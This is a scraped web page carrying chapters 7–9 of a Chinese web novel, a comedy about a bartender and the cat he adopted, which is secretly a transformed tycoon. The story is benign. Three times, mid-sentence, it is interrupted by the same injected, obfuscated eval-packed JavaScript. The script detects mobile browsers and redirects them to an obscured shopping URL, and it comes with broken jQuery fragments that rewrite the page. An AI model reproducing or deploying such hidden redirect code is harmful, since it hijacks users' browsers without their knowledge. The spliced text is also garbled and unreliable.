“我现在特别庆幸你捡的只是一只猫,不是一个人了。”赵茗真心实意道,“不然我真怕你自己挖坑自己跳,跳进去还伸长脖子问你咋还不埋嘞。”
就沈南风这实心眼,但凡这样千娇万宠的不是猫,而是人,怕是要变成现代版性转王宝钏了。
黑猫越发心虚,缩了缩脖子,完全不敢吭声。
变猫之前,顾西洲做梦都没想到自己还有吃软饭的这一天。
结果他现在不仅吃软饭,甚至好像似乎大概仿佛还是软饭硬吃。
也就遇到的是沈南风,换做旁人,就算再喜欢猫都会受不了他的脾气,直接把他丢出去,让他自生自灭吧?
沈南风哭笑不得,“茗茗姐,你太夸张了,我也没那么笨吧?”
“Devin,你能不能答应我一件事?”赵茗握住沈南风的手,表情突然变得特别严肃。
沈南风不太适应跟人这般亲近,有些不自在。
但想到这一个多月来赵茗对他的关照,还是强忍着没有把手抽回来,抿了抿唇,道,“茗茗姐,你说。”
“将来你要是有了喜欢的人,确定关系前一定要带过来让我看看!”赵茗表情十分认真,“这年头,男孩子出门在外也要保护好自己,骗财骗色都是小事,我是真的怕你被掏心挖肾啊!”
7. 第 7 章
沈南风本来还不以为意,直到听到赵茗最后那一句。
原主的肾有没有被挖他不清楚,但是心实实在在被沈博恒掏给沈佑了。
不得不说,沈博恒对沈佑这个弟弟是真的好,也是真的掏心掏肺,只不过掏的是别人的心!
一时间,沈南风心中警铃大震,甚至开始阴谋论。
那对兄弟该不会是等得不耐烦,又觉得他在酒吧工作,认识的人太多,并且出行轨迹又比较固定,所以想把他逼到没什么人认识的地方好方便动手吧?
赵茗本来只是开玩笑,察觉到沈南风的神情变化外加突然僵硬又很快放松下来的手,神情也变得有些凝重。
可她刚要说些什么,沈南风先扯开一个笑,道,“时间不早了,茗茗姐赶紧回去休息吧,睡太晚不好。”
赵茗抿了抿唇,最后还是点点头,“行,你也早点睡。”
目送那辆红色跑车离开,一阵夜风裹挟着寒意扑面而来,沈南风冷不丁打了个哆嗦。
他看着空无一人的街道,面上的笑容逐渐消散,只剩疲惫和麻木,以及深深的悲凉。
哪怕之前已经决定好等攒够钱就会离开,找个稳定一点的工作,可现在手里还没攒多少积蓄,就不得不卷铺盖滚蛋,甚至自己的心脏还被人惦记着,不知道哪天就会被挖走,对面还是有钱有势的顶级豪门,这换谁谁不怕?
他只是想赚点小钱,买个房子,再有点积蓄,安安稳稳带着自己的猫过日子。
可不管是穿书前还是穿书后,怎么都这么难?
沈南风正心情低落呢,小腿突然被什么蹭了一下。
他呆呆地低头,就对上黑猫那双圆滚滚的祖母绿猫猫眼。
大脑还没反应过来,笑容先出现在脸上。
沈南风蹲下身,抱起黑猫,轻轻捏了捏那软乎乎的小爪垫,只觉得自己得到了治愈。
意料之外的,黑猫这次没有挣扎,哪怕身体有些僵硬,还是纵容了他的冒犯。
沈南风得寸进尺,将脸埋进黑猫那柔软的毛毛里,深深地吸了一口,灵魂都仿佛被洗涤了。
生活嘛,不就是这样,只有少数幸运儿才能含着金汤匙出生,一辈子无忧无虑的,大部分人都要很努力才有可能过上想要的生活。
与其整天怨天尤人,彻底成为一滩烂泥,不如支棱起来,积极寻求出路,毕竟来都来了。
更何况他现在不是孤身一人,就算是为了黑猫,他也要挣扎着活下去。
黑猫身上暖烘烘的温度透过单薄的衣服传来,驱散了凌晨的寒意,沈南风再看那些光找不到的地方,目光从恐惧变成坚定。
无论夜有多黑,只要不放弃,终将等到白昼。
他深吸一口气,握住黑猫的爪爪,做了个指点江山,挥斥方遒的姿势,语气那叫一个慷慨激昂,“圣火昭昭!圣火耀耀!凡我弟子!喵喵喵喵!”
黑猫:“......”
沈南风继续道,“我!沈南风!喵喵教忠实信徒!在此立誓!我会为了猫猫大人跟沈家这个邪恶势力战斗到最后一刻!”
沈南风一低头,对上黑猫犀利的菜刀眼,直接笑出了声,笑完还在那毛茸茸的小脑袋上狠狠地亲了一口!
黑猫忍无可忍,前爪发力,后腿用力一蹬,跳到地上,然后头也不回地往酒吧里走。
沈南风惊讶了一瞬,随即笑得越发灿烂。
明明现在黑猫身体已经恢复得差不多了,都能跑能跳的,却没有第一时间离开。
他以后真的不是没有猫的野人了!
好耶!
回到酒吧,沈南风锁好门窗,拿出账本,开始算今天酒吧的盈利。
黑猫动作轻巧地跳到吧台上,看着沈南风认真的模样,撇了撇嘴,眼中满是不屑。
它要是沈南风,不找无良老板算账就是好事了,怎么可能老老实实帮无良老板算账?
谁不让它好过,它就不让谁好过,就算不把讨厌的人刀了,卷走所有钱一把火烧了酒吧然后远走高飞也行啊。
黑猫越想越兴奋,甚至开始四下张望,想看看周围有没有打火机之类的东西。
可不经意间瞥见沈南风温柔的眉眼,那些疯狂又执拗的念头又霎时间消散殆尽。
这人要真是这么个性子,也不会对一只捡来的土猫倾尽所有还百般纵容吧?
沈南风若有所感,对上黑猫专注的视线,心蓦地一软。
他揉了揉黑猫软乎乎的小脑袋,温声安抚道,“我等下就忙完了,再等一会儿好不好?”
黑猫抖了抖耳朵,脸扭向旁边,不敢跟他对视。
但是原本耷拉在身后的尾巴却害羞地环住jiojio,蹲坐的姿势变得异常乖巧,不过思绪却控制不住地飘远了。
顾西洲习惯了别人看到他就战战兢兢,大气都不敢喘一声的瑟缩模样,只有沈南风,每次看到他都会露出这种欢喜又满足的笑容。
刚开始他确实很不适应,甚至想通过恐吓的方式让对方害怕自己,不要随便造次。
可不管他如何用爪垫拍开沈南风的手,在对方柔软的肌肤上留下牙印,甚至故意将桌上的东西扒拉到地上,这个人始终一副温柔又包容的模样。
偶尔气得狠了,沈南风顶多轻轻拍一下他的屁股,小小地抱怨几句,然后叹一口气,满脸无奈地收拾残局。
今天之前,顾西洲还以为沈南风对谁都是那个好性子,直到沈南风以一敌二还大获全胜。
想到自己蹲在柜子上看到漂亮青年面带微笑云淡风轻将沈博恒和沈佑气到差点晕厥的样子,他就觉得好笑。
只可惜沈南风无依无靠,这么做的代价就是丢了工作又丢了住处,当真是个小可怜。
黑猫尾巴尖儿轻轻摇晃着,欣赏和不爽的同时还带着些小骄矜。
沈南风要是孤身一人,下场会是灰溜溜夹着尾巴离开。
可现在不是有它在,它总不至于让自己的铲屎官真的睡桥洞翻垃圾桶上演都市求生纪录片?
只要能摸到沈南风的手机,一切困难都能迎刃而解!
想到沈南风欢呼雀跃的模样,黑猫心情比当初把他那个人渣爹从董事长的位置上踹下来,并且将那糟心的一家三口从顾家主宅里赶出去那天还要愉悦!
然而,理想很丰满,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735081|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现实却很骨感。
好不容易等到沈南风睡着,黑猫跳到桌子上,打算给自己的心腹发消息。
但是看着光滑平整没有任何按键的手机屏幕,它只觉得被人兜头浇了一大桶冰水,那叫一个透心凉。
众所周知,解锁智能机有两种方式,第一种是密码,第二种是指纹。
现在问题出现了,顾西洲既不知道沈南风的密码,手机也没有录入他的指纹,他该怎么给心腹发消息?
顾西洲从来没有哪一刻像现在这样恨过科技的发展。
按键手机有什么不好的,为什么要流行用智能机?
黑猫倒是想拿着手机跑到沈南风那里趁对方睡着用对方的手解锁,可看看这猫爪,像是能轻松拿起手机跳下桌子又跳到床上还能不惊动人的样子吗?
黑猫全身毛毛都炸开了,尾巴也疯狂甩动,抽得桌子“啪啪”作响。
似乎是被它这边的动静惊扰到,沈南风眉头微蹙,轻轻“嗯”了一声。
黑猫身体陡然僵硬,呼吸都不自觉屏住了。
直到沈南风重新陷入深度睡眠,它紧绷的身体才微微放松。
黑猫冥思苦想半天,都找不到一个能不弄醒沈南风使用对方手机的完美方案,头都开始疼了。
突然,一个大胆的念头突然蹦了出来。
要不,它直接跟沈南风坦白身份,让对方去联系心腹?
如果是从前,它从人变成猫,肯定谁都不信任。
但这段时间相处下来,它相信沈南风就算知道它的身份也不会害它。
不过也正因为如此,黑猫更不放心让沈南风去联系顾时序。
顾时序是他外公在世时资助的那家孤儿院的一个孤儿,因为能力出众,毕业后进入顾氏集团,没几年就爬到了高管的位置。
顾西洲的外公很欣赏他,也一直提拔重用他,却从没想过把自己的女儿嫁给他。
原因无他,顾时序往上爬是为了能够自由潇洒地生活,他可以为了权势财富在事业上低头赔笑,却干不出来出卖自己感情和婚姻,一天二十四小时给人当狗的事。
顾西洲的外公没能拦住恋爱脑的亲闺女,担心自己年迈,万一哪天不在了,女婿必定会对女儿和外孙下手,便许以重利,跟顾时序达成了合作。
顾西洲能活到成年,甚至将他那个便宜爹从董事长的位置上踹下去都离不开顾时序的帮助。
但他相信顾时序的能力,却不相信对方的人品。
要是顾时序不清楚他现在的情况,有所忌惮,倒也罢了。
就怕沈南风太过单纯善良,不知不觉就被那只豺狼套话,到时候会发生什么事,顾西洲都不敢保证。
黑猫深深地、深深地叹了一口气,整只猫都自闭了。
本来想着让沈南风人仗猫势,提前过上衣食无忧在帝都横着走的日子。
现在好了,在弄到沈南风的手机密码前,这软饭它还得继续吃下去!
黑猫看着自己毛绒绒的黑色猫爪,那叫一个恨铁不成钢,恨不得直接剁了!
废物!
连发消息都做不到,要你何用!
8. 第 8 章
另一边,帝都私立医院走廊内,沈博恒靠在墙上,不知道在想什么。
“叮”的一声,电梯门开了,紧接着是一阵急促的脚步声。
穿着紫色小香风套装的贵妇人速度最快,冲到沈博恒那里焦急地问道,“怎么回事,好端端的,佑佑怎么会进医院?”
穿着黑色西装气场十足的男人威严道,“你把前因后果好好说清楚。”
沈博恒抿了抿唇,有些犹豫。
女人却是等不及,一把抓住他的胳膊,声音都带着哭腔,“都到了这时候你还不想说实话?谁能比佑佑更重要?”
沈博恒叹了一口气,缓缓道,“今天下午佑佑不知道从哪里看到一个视频,知道南风跑到一家酒吧去当调酒师,这件事还在圈子里传开了。”
沈父和沈母都是大家族出身,接受的正统教育,因此酒吧这种地方在他们看来就跟古代的青楼差不多,眉头顿时皱得死紧。
沈母攥紧手里的包包,不是很愿意相信,狐疑道,“这件事是真的还是假的?”
“我跟佑佑也希望是假的,但是视频里的那个调酒师跟南风太像,就想着过去看看,如果是真的,就劝他回家,别在外面丢我们沈家的脸。”沈博恒说着,又叹了一口气,“谁成想他不仅说了很多难听的话,还不知道被什么不三不四的人迷得神魂颠倒,一口一个小祖宗地喊着,佑佑看着他变成那样,就......”
沈博恒捏了捏眉心,语气颓丧,“我一开始没打算告诉你们,毕竟我身为大哥,应该对弟弟们负责,结果司机善做主张,还是惊动了。”
“这怎么能怪你,明明是南风那孩子气性大,非要跟佑佑过不去!”沈母越说越气,“既然他想当那上不了台面的调酒师,就让他——”
沈父打断沈母的话,直勾勾看向沈博恒,“这件事你打算怎么处理?”
沈博恒心中一凛,脊背微微挺直,语气也认真了许多,“继续让他当调酒师肯定不行,他不在乎名声,沈家在乎,所以我让集团法务部的律师去联系了那家酒吧的老板进行收购,她同意了开除南风的要求。”
沈父微微点头,表示满意。
沈博恒身体微微放松,继续道,“我打算接下来让他在外面吃点苦头,知道赚钱不容易,自然就会学乖,到时候也不用我们做什么,自然会主动回来服软。”
沈母虽然生气沈南风自轻自贱,可那毕竟是她辛辛苦苦怀胎生下来的小儿子,听到沈南风要在外面受苦,立刻联想到孩子被掉包后过得苦日子,又有些不忍,“要不还是算了吧,他也才二十岁出头——”
沈父再次打断她的话,一锤定音,“行,那这件事就交给你处理。”
沈母张了张嘴,欲言又止。
可看着丈夫不苟言笑的脸,她叹了一口气,终究没有再说什么。
就在这时,诊疗室的门开了。
沈母顿时顾不上其他,连忙迎上去问道,“李医生,佑佑他怎么样了?”
“请放心,经过治疗,病人现在已经没有大碍。”医生说着,眉头微蹙,“只是他心脏情况不太好,最好还是不要受刺激,再多来几次,身体肯定吃不消。”
他说完,又补充道,“如果可以,还是尽快做移植手术,这样比较保险。”
三人刚和缓的神情随着医生的诉说重新变得凝重起来。
沈母更是心疼得不行,忙不迭问道,“那我们现在能去看看他吗?”
医生往旁边让了一步,道,“当然可以。”
进门后,看着病床上脸色苍白的孱弱青年,女人连忙上前,握住他的手,“佑佑,你现在感觉怎么样,有没有哪里不舒服?”
沈佑目光从他们身上一一扫过,见没有人再进来,抿了抿唇,低声道,“爸妈、大哥,抱歉,让你们担心了。”
“你这孩子说的什么胡话,我们是一家人,有什么抱歉不抱歉的?”沈母嗔怪道,“佑佑,你要是哪里不舒服一定要说,千万别硬抗,知道吗?”
“好。”沈佑点点头,犹豫片刻,又道,“那个,爸妈,今天这事是我不对,不该贸然去找南风哥哥,把事情都办砸了。”
“只是当时看到视频的时候,群里有好几个跟沈家不对付的公子哥儿说想去捧场,我是真的担心他会被欺负,这才......”
沈母神情怜爱又心疼,温声安抚道,“妈妈知道你也是好心,是南风那孩子小心眼儿,你别自责。”
沈佑垂下眼帘,一副愧疚到极点的样子,“但如果不是因为我,南风哥哥也不至于跟家里闹得这么僵,要不我还是回去好了。”
“这怎么行?”沈母想也不想直接反驳,“那就是个豺狼窝,现在那两口子的心思都在他们那个不成器的小儿子身上,你要是回去了,就这绵软的性子肯定会被他们吃得骨头渣子都不剩!绝对不行!”
刚开始知道孩子被人故意掉包这件事时,沈母的确特别生气,也迁怒过沈佑。
可人心都是肉长的,哪怕是养条狗,时间久了都会有感情,更何况是大活人?
沈母不是什么事业型的女强人,除了时不时陪着丈夫出席一些公开场合,跟其他豪门太太逛街聊天,她大部分精力都放在家人身上。
沈父身为沈氏集团的董事长,经常加班,沈博恒作为沈氏集团未来的继承人,从小便接受的精英教育,除了学校的课程,回来之后还要跟着家庭教师学习其他东西,跟她相处时间不是很多。
只有沈佑,因为是小儿子,又患有先天性心脏病,需要细心照顾,就算如此,也时不时进一趟医院,隔三差五就要抢救一下,因而她在沈佑身上耗费的时间精力最多。
沈佑又是个听话懂事的,哪怕再难受都会勉强挤出一个笑,让她不要哭,还会关心她的身体,让她觉得特别幸福。
人总会下意识同情弱者,也会更亲近陪伴自己时间更长的人。
因此在沈南风被认回沈家后,起初跟沈佑争执的时候她还会因为愧疚劝沈佑不要跟沈南风计较。
沈佑每次都会大度地将所有过错都揽到自己身上,沈南风要么死不承认,要么沉默,一点都不讨喜。
这种事发生得多了,她也越来越不耐烦,甚至觉得沈南风被那对上不了台面的夫妻给带坏了,心中的天平也逐渐往沈佑那里倾斜。
“可是这本来就是南风哥哥的家,他总在外面也不好。”沈佑另一只手攥住被角,满脸为难,“酒吧那种地方总归不太......南风哥哥又似乎......我有点怕他被人哄骗,染上什么不干净的病,到时候......”
沈佑这么一说,沈母脸色顿时变得空前难看,就连沈父也露出一丝厌恶的神情。
沈博恒刚要开口,说这件事他会调查清楚,沈父却等不及,直接喊来助理,让对方想办法弄清楚沈南风嘴里的小祖宗到底是谁。
于是,几分钟后,被黑猫幽怨盯着的手机屏幕突然发亮,还一边嗡嗡震动一边响铃。
沈南风被吵醒,迷迷糊糊睁开眼,就看到一坨黑色原地起飞,又“嘭”一声砸到了地上!
他吓了一跳,瞬间清醒了,连忙开灯。
就见黑猫似乎是被灯光闪到眼睛,愣了几秒,看看桌上的手机,又瞅瞅呆愣的沈南风,“嗖”一下丝滑地蹿进了床底。
沈南风:“......”
不是说黑白配色的才是神经病,他家黑猫难不成大半夜的被奶牛猫夺舍了?
不过手机还在锲而不舍地制造出噪音,沈南风挠了挠头,顾不上多想,穿上拖鞋往桌子那里走。
结果他刚拿起手机,胳膊上就传来毛绒绒的触感,他一低头,就对上黑猫漂亮的祖母绿眸子。
沈南风不明所以,但看着来电显示上的“茗茗姐”三个字,打算先接电话。
然后他的小臂就被黑猫给抱住了。
沈南风眉梢微挑,甚至怀疑自己是在做梦。
往常这个小祖宗总是一副高冷的样子,偶尔才会主动蹭蹭他,今天怎么怪怪的?
但他并不讨厌黑猫的亲近,没有撕下猫猫虫,而是直接按下了接听键。
黑猫:“......”
失策了,它忘了接电话不用解锁。
不过脸都丢了,干脆丢到底,万一沈南风接完电话还想用手机干别的事呢?
于是它就保持着这个姿势继续挂在沈南风小臂上。
“喂,南风,抱歉这么晚打电话给你,实在是情况紧急。”赵茗的声音从手机里响起。
沈南风跟黑猫心里一个咯噔,齐齐冒出一个念头。
沈博恒那家伙该不会越想越气,让他们连夜卷铺盖滚蛋吧?
沈南风刚要开口,赵茗下一句话就接了上来,“有人花了不少钱想从我这里打听你家那位小祖宗的事,还想要你在酒吧工作的监控,我可以答应吗?”
沈南风:“......”
赵茗听着那边的沉默,有些心虚,但想到刚刚那边报的数额,硬着头皮道,“南风,你怎么不说话?”
沈南风叹了一口气,很是无奈,“这种小事茗茗姐自己做主
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735082|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就行,不用问我的意见。”
赵茗轻笑,“这怎么行,毕竟跟你有关,招呼都不打一声我成什么人了?”
黑猫白眼都快翻到天上去了。
真的还想当人,这大半夜的打电话扰人清梦卖人消息赚钱好歹给点补偿啊!
它磨了磨牙,那种想要火烧酒吧的念头再次升了起来。
沈南风实在困得厉害,睡醒还要收拾东西找房子搬家,客套了两句便挂了电话。
放下手机,他摸了摸黑猫毛茸茸的小脑袋,莞尔道,“球球,你是不是刚刚被吓到了,怎么突然变得这么粘人?”
黑猫动作一顿,确定沈南风没有刷手机的打算,飞快撒爪,跳下桌子,钻到床底,想借此逃避现实。
沈南风忍俊不禁。
他走到床边,单膝跪地往里看,调侃道,“哟,害羞了?”
“好啦,我不笑话你,地板凉,上床睡。”
黑猫不为所动,还往里面钻了钻。
沈南风瞅着跟黑暗融为一体,只能依稀两个小灯泡一样的绿眼睛辨别位置的黑猫,莫名其妙想到一句话——当你凝视深渊的时候,深渊对你“喵”了一声。
沈南风忍俊不禁,没睡多久就被吵醒的烦躁都散了大半。
见黑猫不愿意出来,他也没强求,脱鞋上床,很快又睡熟了。
另一边,沈父收到助理发过来的信息,不禁陷入沉默。
“那个,爸爸,南风哥哥他——”沈佑见沈父收到消息后神情也变得特别复杂,心顿时提了起来,声音也变得特别艰涩。
沈父不知道怎么开口,直接将消息转发给他们。
沈佑立刻掏出手机,接收后,看到多方求证后得到的结论——沈南风嘴里的“小祖宗”是他捡的猫,只是他应付那些追求者的幌子,他并没有跟任何人交往,紧绷的身体终于放松。
沈父又随意点开几个沈南风在酒吧工作的视频,发现虽然不少人向他示好,他却始终没有答应过任何人,还能安抚住所有客人的情绪,除此之外跟酒吧其他员工也能相处融洽,意外的同时眼中也带了几分赞赏。
然而,他的好心情到打开最下面也是最新的视频时戛然而止。
沈博恒听着沈父手机里传来自己愤怒的咆哮,猛地抬头,确定那是自己的声音,他满脸难以置信,没想到这段竟然也在里面。
他坐立难安,又不敢上手抢手机,既想时间赶紧过去,又怕到了秋后算账的时候,那叫一个纠结。
终于,视频播放完了,沈父目光落在沈南风怅然若失的脸上,轻轻笑了一下。
沈博恒心中突然升起浓浓的危机感,头皮也一阵阵发麻。
沈佑不知道沈父为什么笑,也不敢问,只能往沈母身后缩了缩,想要降低存在感。
沈博恒想着伸头一刀缩头一刀,正要开口,对上沈父看过来的眼睛,顿时大气都不敢喘一声。
沈父仔细观察了他一会儿,又看了一眼病床上怯生生的沈佑,叹了一口气。
就在沈博恒以为沈父会说些什么的时候,他只是摇了摇头,嘱咐沈佑好好休息,然后带着其他助理离开了。
沈博恒看着沈父离开的背影,原本垂在身侧的手一点点握紧,眼中也带了几分狠色!
沈南风并不知道医院里发生的事,睡醒之后,他伸了个懒腰,简单洗漱后,跟黑猫一起吃完午饭,就开始收拾行李。
他自己的东西不多,两个包就装满了,反而是黑猫的零食玩具猫砂药品航空舱之类的一大堆。
黑猫低头看着自己不争气的猫爪,深深地叹了一口气。
它现在终于明白为什么人家都说老天爷而不是其他,因为这贼老天是真的会把人当孙子!
不能变成人倒也罢了,好歹让它联系上顾时序啊!
这边都火烧屁股了,还搁那儿玛卡巴卡呢!
好不容易等到沈南风拿起手机,黑猫眼睛一亮,三两下蹿到衣柜上面,打算记下密码。
结果!沈南风!直接!指!纹!解!锁!
就在黑猫一口老血梗在心头,差点直接气得厥过去时,房门突然被人敲响。
“Devin,你起床了吗?”
沈南风连忙过去开门,“茗茗姐,您怎么来了?”
赵茗刚要开口,突然感受到杀意。
她敏锐地扭头,就见黑猫正蹲坐在衣柜上居高临下菜刀眼对她进行死亡凝视。
一句话莫名其妙出现在她的脑海中。
天凉了,让赵氏集团破产吧!
9. 第 9 章
赵茗脊背发寒,压低声音对沈南风道,“哎,我说你这猫怎么有点邪性?那眼神,怪吓人的!”
“啊?”沈南风疑惑,扭头去看黑猫。
对上那张臭臭的猫猫脸,他话还没出口,笑容比声音先出来,“还好吧,球球它就是看着凶了点,其实很温柔的。”
赵茗嘴角抽了抽,满脸冷漠说出那句经典台词,“真的吗?我不信!”
沈南风:“......”
他挠了挠头,觉得在这件事上争执也没什么意义,左右黑猫是跟他过日子,不用讨好其他人。
余光瞥见桌上放着的笔记本,沈南风“啊”了一声,拿起来递给赵茗,“茗茗姐,这是我这段时间整理的甜品和酒水的制作方式,很感谢您这一个多月来的照顾,将来如果您要是有什么事,我能帮的一定帮。”
赵茗一愣,看看沈南风,又瞅瞅笔记本,表情变得十分复杂。
沈南风疑惑歪头,“怎么了?”
赵茗实话实说,“没什么,就是觉得你这脾气也太好了,甚至有些傻了。”
黑猫看着赵茗手里的笔记本,难得赞同对方的话。
“不然呢,我总不能一哭二闹三上吊,说我为酒吧扛过枪,我为酒吧流过血,当着一众人的面撒泼打滚?”沈南风说着说着,把自己都给逗笑了,“我只是觉得报答对我好的人是应该的,更何况一开始也没打算一直当调酒师,现在只不过提前重新找工作和住处,也没什么大不了的。”
“你要是这么想我也不说什么了,反正对我来说又没什么坏处。”赵茗嘴角轻翘,她收好笔记本,从包里掏出来一个有些厚度的信封,“喏,这个给你。”
沈南风双手接过,有些疑惑,“这是什么?”
“你这段时间的员工培训费、保底工资以及提成。”赵茗说着,掏出手机按了几下。
几秒后,沈南风手机震动了一下。
赵茗抬了抬下巴,示意他打开看看。
沈南风掏出手机,是银行发来的消息,他账户多了两万的转账。
他一惊,忙不迭解释道,“茗茗姐,我不是这个意思。”
赵茗按住他的手机,笑道,“我这人虽然爱钱,但不会让自己人吃亏,这是你应得的,要是推辞,我就要生气了。”
话都说到这份上,更何况现在也的确缺钱,沈南风只能不好意思地摸了摸鼻子,“谢谢茗茗姐。”
“该是我谢你才对,我本来开这家酒吧只是想找个方便的地方喝酒,顺便赚点钱,之前每个月赚得都不多,自从你来了,生意一天比一天好,要不是沈博恒给的实在太多了,我还真舍不得你这棵摇钱树。”
黑猫听到这话,翻了大大的个白眼。
但看在那两万的份上,它勉强给赵茗的资产判了死缓。
“对了,你住处找好了吗?”赵茗问道。
沈南风摇头,“还没,正准备找。”
“你这情况,想稳定下来应该挺难的吧?”赵茗直接陈述事实,“沈博恒既然能斥巨资买下我这个小酒吧,难保不会你在哪里租房子,他就高价买哪里的房子然后让你搬走。”
“虽然法律规定买卖不破租赁,可就你这绵软的性子,房东让你走人,你还能赖着不走?”赵茗直击重点,“到时候你隔三差五就要重新找房子然后搬家,时间精力都浪费在这上面,还怎么赚钱?”
说到最后一句,她那叫一个痛心疾首!
沈南风想到沈博恒昨晚的表现,不得不承认赵茗并不是危言耸听,这种缺德事沈博恒那头暴龙还真干得出来。
黑猫拧眉沉思,想着要不干脆还是主动表明身份,不然等它猴年马月才弄到沈南风的密码,黄花菜都凉了。
就在这时,赵茗轻笑一声,说出的话如同天降甘霖,“我倒是有个地方推荐,不知道你愿不愿意?”
沈南风眼睛一亮,“茗茗姐您说说看?”
“我小叔叔是刑警大队的,他有个关系特别好的兄弟,前几年因公牺牲,家里只剩一个老爷子和小孙子,他们现在住在刑警大队家属院。”赵茗道,“你可以住在那里,房租我帮你付,每个月还会额外给你五千,希望你能多照看一下他们。”
黑猫眉梢微挑,很是意外。
但它清楚赵茗的性子,哪怕再欣赏沈南风,也不会做赔本买卖,其中必定有诈!
果然,赵茗下句话就接了上来,“阳阳那孩子挺活泼的,就是秦老爷子脾气有点倔,说话也有点呛人,你多担待些,别跟他置气。”
沈南风在得知对方的身份后瞬间肃然起敬,语气也郑重了许多,“茗茗姐,您放心,我能帮衬肯定帮衬,但是房租我还是要给,也不用您另外给钱,不然我成什么人了?”
“你虽然是租客,但也相当于三分之一个住家保姆。”赵茗也不跟他弄那些虚的,直接说实话,“我不骗你,老爷子确实不太好相处,你要是不收钱,我真怕你住不了两天就跑了。”
沈南风笑得有些无奈,“这个真不至于。”
他亲爷爷就是退伍老兵,总是板着一张脸,凶巴巴的,嗓门也特别大,还动不动就吼人,周围那些不管是大人还是小孩儿都特别怕他。
沈南风大伯家的堂哥跟小姑家的表弟也是如此,只有沈南风会不顾老爷子的黑脸笑嘻嘻往他跟前凑,被训了也不哭鼻子,依旧死皮赖脸缠着。
时间久了,老爷子有什么好东西都想着他,也会省吃俭用把攒下来的钱给他,供他读书。
沈南风想着等他赚钱了一定要好好孝敬老爷子,结果在他大一开学没多久,老爷子就去世了。
“南风,你怎么了,是不是身体不舒服?”赵茗感觉他脸色不太好看,关切地问道。
“没什么,就是想到了一些往事。”沈南风摆了摆手,强迫自己打起精神。
就在这时,他裤腿被什么扒拉了两下。
一低头,就对上黑猫那双漂亮的祖母绿眸子。
沈南风嘴角轻翘,蹲下身轻轻摸了摸黑猫毛茸茸的小脑袋,声音都放软了许多,“球球,我真的没事,你别担心。”
赵茗笑着调侃道,“我说,你这到底是哄猫还是哄小男朋友啊,瞧你这捧在手里怕摔了,含在嘴里怕化了的不值钱样儿!”
沈南风也不恼,脸上的笑容甚至加深了几分。
赵茗:“得,这下更不值钱了。”
黑猫却被赵茗说得有些不好意思,飞快歪头躲开沈南风的手,然后蹭蹭蹭后退几步,拉开距离。
赵茗摸了摸下巴,意味深长看着黑猫,“应该不是我的错觉吧,你家猫难道真听得懂人话?”
黑猫身体一僵,耳朵也变成飞机耳的形状,可尽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735083|145108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
管它心虚得不行,还是装作一副若无其事的样子。
沈南风嘴角轻翘,“据说猫狗有六七岁小孩子的智商,网上不是有很多猫会用那种按下去就能发出声音的按钮跟主人说要吃饭、喝水、抱抱、摸摸吗?”
赵茗将信将疑,“真的假的?”
“应该是真的?”沈南风道,“我以前有个朋友,家里养了一条狗,就很聪明,能听懂很多话,还会叼着篮子帮忙买菜呢。”
赵茗第一反应是这是一个不错的商机,但想到城市养狗的那些条条框框,眉头拧得死紧。
要是投资失败,人能多给点补偿然后解雇,狗又不能给自己找下家,她还是别作孽了。
不过提到宠物相关的话题,沈南风突然想到一件事,“那个,茗茗姐,你说的那个老爷子能接受租客养猫吗?”
赵茗低头,对上黑猫平静无波的祖母绿眸子,瞬间卡壳。
她沉默片刻,试探道,“你现在这情况,带着猫挺不方便的吧,就算整租,也有房东不把房子租给养宠物的人,要不我帮你问问我认识的人,看他们谁想养猫?”
沈南风看看赵茗,又瞅瞅黑猫,眼中满是不舍。
但他觉得自己现在都自身难保了,要是黑猫能有更好的去处,不用跟着自己吃苦也挺好,便问道,“茗茗姐有认识喜欢猫,家里条件不错,并且还没养猫的人吗?”
赵茗苦思冥想半天,真的从记忆里扒拉出来几个跟宠物沾边的朋友。
只不过那些人要么只是喜欢云养猫,偶尔去猫咖过过瘾但不想负责,要么是独生猫不想让猫受委屈坚决不养第二只猫。
倒是有对猫来者不拒的,但家里已经有了一堆猫,依照沈南风这性子,绝对舍不得自己的猫跟那么多猫争宠。
赵茗深深地叹了一口气,语气沧桑,“这猫你非养不可吗?”
黑猫也抬头看向沈南风。
不知怎的,它就是觉得沈南风肯定会选自己。
而沈南风没有让黑猫失望,他眼弧微弯,没有丝毫犹豫,语气温柔但坚定,“嗯。”
虽然只有简简单单一个字,黑猫却比吃了蜜还甜,尾巴尖儿也轻轻翘了翘。
“行吧。”赵茗叹了一口气,“你先跟我过去,老爷子要是同意,今天就搬过去,要是不行,我另外再给你找住处。”
沈南风本来还担心找房租房堆到一天会很麻烦,有赵茗这句话,他轻松了许多,“谢谢茗茗姐。”
赵茗摆了摆手,“车就停在后门,我下去等你。”
